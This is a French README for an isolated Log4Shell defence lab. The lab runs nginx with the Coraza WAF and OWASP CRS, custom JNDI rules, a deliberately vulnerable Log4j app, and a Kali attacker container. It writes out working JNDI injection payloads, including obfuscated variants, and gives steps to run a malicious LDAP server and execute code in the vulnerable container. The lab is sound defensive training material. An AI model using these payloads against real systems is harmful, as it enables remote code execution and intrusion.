Log4Shell (CVE-2021-44228) laboratoire de défense — nginx + Coraza WAF dynamic module + OWASP CRS v4. Usage éducatif uniquement.
Objectif éducatif / défensif : ce laboratoire contient une application intentionnellement vulnérable (Log4j 2.14.1) et une boîte à outils d'exploitation JNDI, UNIQUEMENT destinée à apprendre à détecter et bloquer Log4Shell dans un environnement isolé. Ne pas déployer sur Internet, ne pas utiliser pour attaquer des systèmes qui ne vous appartiennent pas.
Laboratoire pratique de défense contre Log4Shell (CVE-2021-44228) utilisant nginx intégré avec Coraza WAF (module dynamique) + OWASP CRS v4 + un ensemble de règles JNDI personnalisées. Inclut un conteneur cible Spring Boot vulnérable, une boîte attaquante Kali, ainsi que Suricata et Wazuh pour l'observation.
Hôte (Windows / Docker Desktop)
│
├── dmz-net (172.20.0.0/24, face externe)
│ ├── nginx-proxy ← point d'entrée :80/:443, avec module Coraza + CRS v4
│ ├── attacker-box ← Kali + kits d'exploitation JNDI
│ └── suricata-ids ← renifle le trafic dmz
│
└── backend-net (172.22.0.0/24, interne : true)
├── nginx-proxy ← seconde carte réseau
├── log4shell-app ← Spring Boot Log4j 2.14.1
├── wazuh-manager ← SIEM
└── wazuh-dashboard ← UI
Flux des requêtes : client → nginx (inspection Coraza) → log4shell-app. Le WAF s'exécute de nginx (via le module ), pas dans un conteneur séparé.
ngx_http_coraza_module.so| Élément | Version minimale |
|---|---|
| Docker Desktop / Engine | 24+ avec Compose v2 |
| RAM libre | 4 Go (Wazuh consomme ~1,5 Go) |
| Espace disque libre | 6 Go (artefacts de construction d'image) |
| Temps de construction initial | 10–15 minutes (libcoraza + module nginx + outils attaquants Maven) |
cd /chemin/vers/log4shell-nginx-coraza
docker compose build
L'étape la plus lente est nginx (construction de libcoraza v1.4.0 avec Go 1.25, puis compilation du module coraza-nginx). Mise en cache après la première fois.
docker compose up -d
docker compose ps
Après ~30 s, statut attendu :
| Service | STATUT |
|---|---|
nginx-proxy | Up (healthy) |
victim-app | Up |
kali-attacker | Up |
wazuh-siem, wazuh-web | Up |
suricata-ids | peut être Restarting (voir section 8 — ne bloque pas le lab) |
# vivacité de nginx
curl http://localhost/health
# → "nginx proxy healthy"
# via WAF vers l'application (point de terminaison réel de log4shell-vulnerable-app)
curl -H 'X-Api-Version: 1.0' http://localhost/
# → "Hello, world!"
curl http://localhost/ sans l'en-tête X-Api-Version renvoie 400 — c'est la page d'erreur par défaut de Spring Boot (aucun gestionnaire), pas un blocage du WAF.
# JNDI dans User-Agent → règle 1910010 déclenchée, 403
curl -i -H 'User-Agent: ${jndi:ldap://attacker:1389/x}' http://localhost/
# JNDI dans l'en-tête d'application journalisé : X-Api-Version → règle 1910001 (en-tête+argument) déclenchée, 403
curl -i -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost/
# JNDI dans la chaîne de requête → CRS phase 1 bloque
curl -i 'http://localhost/?x=${jndi:ldap://attacker/x}'
Attendu : HTTP/1.1 403 Forbidden, corps <html>... 403 Forbidden ... nginx ...</html>.
# Astuce minuscule (règle 1910004 / 1910008)
curl -i -H 'User-Agent: ${${lower:j}ndi:ldap://attacker:1389/x}' http://localhost/
# Deux-points-tiret-tiret (règle 1910008)
curl -i -H 'User-Agent: ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker:1389/x}' http://localhost/
curl -i -X POST -H 'Content-Type: application/json' \
-d '{"msg":"${jndi:ldap://attacker:1389/x}"}' \
http://localhost/api/log
# → 403 (règle 1910026 : Content-Type=json + corps contient jndi)
docker exec nginx-proxy sh -c 'tail -f /var/log/coraza/audit.log' | python -c "
import json,sys
for ln in sys.stdin:
try:
d=json.loads(ln)
t=d['transaction']
ua=t['request']['headers'].get('user-agent',['?'])[0][:60]
st=t['response']['status']
for m in t.get('messages') or []:
print(f'{st} {ua} :: {m[\"error_message\"][:160]}')
except: pass
"
Chaque événement est au format JSON Lines, avec :
transaction.is_interrupted: true → WAF bloquemessages[].error_message → quelle règle a déclenché, fichier et ligne, sévéritédocker exec nginx-proxy tail -f /var/log/nginx/access.log
Filtrer les blocages :
docker exec nginx-proxy sh -c 'grep " 403 " /var/log/nginx/access.log | tail'
./logs/nginx/ ← access.log, error.log
./logs/coraza/ ← audit.log (JSON), debug.log
Par défaut,
backend-netest défini avecinternal: trueetattacker-boxest uniquement surdmz-net, donc log4shell-app n'atteint PAS attacker-box. Pour que la chaîne JNDI fonctionne de bout en bout, effectuez d'abord l'étape 6.0.
Modifiez docker-compose.yml, ajoutez attacker-box à backend-net :
attacker-box:
networks:
- dmz-net
- backend-net # <— ajout
Ou déplacez log4shell-app vers dmz-net (plus simple mais moins pédagogique sur la segmentation) :
log4shell-app:
networks:
- backend-net
- dmz-net # <— ajout
Appliquez : docker compose up -d (Compose recrée le conteneur concerné).
docker exec -it kali-attacker bash
cd /opt/exploits
# Option A : marshalsec — simple, relais LDAP→HTTP
./scripts/start-ldap-server.sh marshalsec '' 172.20.0.2
# Option B : JNDI-Exploit-Kit — boîte à outils complète, payload "touch /tmp/pwned"
./scripts/start-ldap-server.sh jndi-kit
Le serveur écoute LDAP :1389 et HTTP :8888 (déjà exposés sur l'hôte dans le compose).
# Depuis attacker-box, appel direct à log4shell-app sur backend-net
docker exec kali-attacker curl -s -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://victim-app:8080/
Vérifiez :
# Le marqueur Pwned est créé dans le conteneur de l'application
docker exec victim-app ls -la /tmp/pwned
Si le fichier apparaît → la chaîne d'exploitation fonctionne, l'application est toujours vulnérable, le WAF n'est PAS contourné lorsqu'on passe par le chemin normal.
# Passage par nginx (chemin normal public)
curl -i -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://localhost/
# → 403 Forbidden, AUCUN nouveau /tmp/pwned
Le fichier ./coraza/config/log4shell-rules.conf est monté en :ro dans nginx sous /etc/nginx/coraza/log4shell-rules.conf. Après modification :
docker exec nginx-proxy nginx -t # vérification de syntaxe
docker exec nginx-proxy nginx -s reload
Si Coraza signale une erreur d'analyse (failed to compile the directive...), les workers vont se terminer et nginx -s reload ne pourra pas les relancer. Dans ce cas :
docker compose restart nginx
docker exec nginx-proxy tail -20 /var/log/nginx/error.log
Ordre d'inclusion (dans nginx/coraza/main.conf, intégré à l'image) :
SecRuleEngine On, journal d'audit, journal de débogagecrs-setup.conf — initialisation de tx.*_anomaly_score, seuilowasp-crs/rules/*.conf — CRS v4.7.0 completlog4shell-rules.conf — règles personnalisées (monté depuis l'hôte)Plage d'ID des règles personnalisées : 1910001 – 1910999 (évite la plage CRS 900000–999999).
EMERGENCY, ALERT, CRITICAL, ERROR, WARNING, NOTICE, INFO, DEBUG. HIGH/LOW ne sont pas valides.IP:, SESSION:, RESOURCE:) ne fonctionnent pas sans un magasin de sauvegarde configuré. Utilisez tx. pour par requête ou limitez le débit via nginx limit_req_zone.TX:VARNAME ne peut référencer qu'une variable déjà définie par setvar dans la même requête. Si la règle est dans une phase différente, envisagez de la fusionner en une règle enchaînée.(unhealthy) / curl localhost bloquedocker exec nginx-proxy tail -20 /var/log/nginx/error.log | grep coraza
Souvent dû à une nouvelle règle avec une syntaxe incorrecte → tous les workers se terminent avec le code 2. Corrigez la règle, docker compose restart nginx.
failed to create WAF: ... unknown severity: HIGHRemplacez severity:'HIGH' par severity:'ERROR' dans la règle personnalisée.
failed to compile the directive "secrule": invalid arguments, expected collection TXLa règle utilise setvar:ip.xxx ou référence IP:something / TX:NEVER_DECLARED. Supprimez la collection persistante ou fusionnez la logique en une seule règle enchaînée.
Exited (1)L'image jasonish/suricata:latest a son propre point d'entrée et le montage yaml depuis ./suricata/config/ peut ne pas être compatible avec la version de l'image. Solution rapide : commentez temporairement le service suricata dans le compose, le lab fonctionne toujours normalement (pas besoin d'IDS pour que Coraza fonctionne). Pour une correction définitive, remplacez suricata.yaml par le fichier par défaut de l'image (docker run --rm jasonish/suricata cat /etc/suricata/suricata.yaml.dist > suricata/config/suricata.yaml).
L'image de base est Alpine 3.8 EOL. Assurez-vous que la commande dans le compose est ["java", "-jar", "/app/spring-boot-application.jar"] (PAS de apk add iptables — le dépôt Alpine 3.8 est en erreur 404).
http://localhost:5601Le gestionnaire Wazuh et le tableau de bord nécessitent wazuh-indexer (OpenSearch) pour fonctionner complètement. La pile actuelle manque de ce service — le tableau de bord démarrera mais la connexion échouera. Si nécessaire, ajoutez le service wazuh-indexer selon le compose officiel.
# Arrêter + supprimer les conteneurs, conserver le cache des images
docker compose down
# Tout supprimer (y compris les volumes Wazuh, forcer la reconstruction la prochaine fois)
docker compose down -v
# Supprimer également les images construites (libère ~3 Go)
docker rmi log4shell-nginx-coraza-nginx log4shell-nginx-coraza-attacker-box
log4shell-nginx-coraza/
├── docker-compose.yml
├── nginx/
│ ├── Dockerfile # multi-étapes : libcoraza + coraza-nginx + CRS v4
│ ├── nginx.conf # load_module + coraza on; dans http{}
│ ├── conf/
│ │ └── default.conf # proxy inverse → log4shell-app:8080
│ └── coraza/
│ └── main.conf # configuration du moteur + Include CRS + personnalisé
├── coraza/
│ └── config/
│ └── log4shell-rules.conf # règles JNDI personnalisées, monté :ro dans nginx
├── attacker/
│ ├── Dockerfile # Kali + marshalsec + JNDI-Exploit-Kit + rogue-jndi
│ ├── scripts/
│ │ ├── start-ldap-server.sh
│ │ └── test-payloads.sh
│ └── exploit-classes/
│ └── Exploit.java
├── suricata/
│ ├── config/
│ └── rules/
├── wazuh/config/
└── logs/ # points de montage pour nginx, coraza, app, suricata, wazuh
| Plage | Responsable | Chevauchement avec la plage CRS ? |
|---|---|---|
| 900000–999999 | OWASP CRS v4 (init, IP rep, protocole, RCE, SQLi, XSS, scanners, blocage eval) | (propre au CRS) |
| 1910000–1910999 | Règles Log4Shell personnalisées | Non |
Tous les ID de règles personnalisés actuels : 1910001–1910008 (patterns JNDI), 1910010–1910014 (par en-tête), 1910015 (protocoles alternatifs), 1910020 (détection de scanner), 1910026 (chaîne corps JSON), 1910028 (chaîne corps XML), 1910030 (paranoïa 3), 1910999 (écho d'évaluation d'anomalie).
Fin : si le lab fonctionne jusqu'à l'étape 4, le WAF est opérationnel. L'étape 6 n'est nécessaire que pour démontrer la chaîne d'exploitation complète de bout en bout.